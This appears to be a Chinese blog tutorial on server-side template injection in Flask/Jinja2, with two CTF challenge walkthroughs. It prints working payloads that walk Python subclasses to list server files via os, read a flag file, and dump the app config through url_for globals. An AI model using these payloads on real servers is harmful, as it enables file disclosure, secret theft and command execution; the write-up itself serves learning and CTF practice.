ssti模板注入

什么是ssti模板注入

SSTI就是服务器端模板注入(Server-Side Template Injection)。
render_template渲染函数的问题,是引发该问题的原因。渲染函数在渲染的时候,往往对用户输入的变量不做渲染。
例如,在flask框架中,Jinjia2模板引擎将

1
{{}}

包裹的当成变量解析替换。

常用模板引擎

网站模板引擎有jinja2、tornado、smarty、twig等等,那么如何判断遇到的是哪种类型,常用图如下。
image.png

常用类

__class__用来查看变量所属的类
__bases__用来查看类的基类。
subclasses()查看当前类的子类。
init 初始化类,返回的类型是function
globals 获取function所处空间下可使用的module、方法以及所有变量。
操作例子:

1
2
{{[].__class__.__base__.__subclasses__()}}//爆出所有能用的类。

Flask特有的变量和函数。

config

config 对象就是Flask的config对象,也就是 app.config 对象

request

Flask中代表当前请求的request对象
###session
Flask的session对象
###url_for()
url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接

###get_flashed_messages()
这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉。
例题:
1.XCTF:Web_python_template_injection
image.png
Jinjia模板,可以ssti注入。
使用

1
{{[].__class__.__base__.__subclasses__()}}

查出所有的类。
使用第72个site._Printer类(可以进行命令执行)
使用:

1
2
3
{{''.__class__.__base__.__subclasses__()
[71].__init__.__globals__['os'].listdir('.')}}
列出所有文件

image.png

然后,使用[40]的file类,得到flag。
image.png

1
{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

拿到flag.
image.png

2.xctf shrine
进入查看源码。
image.png

源码审计,测试/shrine/下有回显,但发现过滤 config变量和 self。并且会去除单边括号,所以上题方法失效了。
使用url_for函数。
url_for.__globals__获取全部全局变量。
image.png
然后找到app
构造

1
{{url_for.__gloabls__['current_app'].config}}

输入发现flag。
image.png


ssti模板注入
http://jty-123.github.io/2022/04/15/ssti模板注入/
作者
Jty
发布于
2022年4月15日
许可协议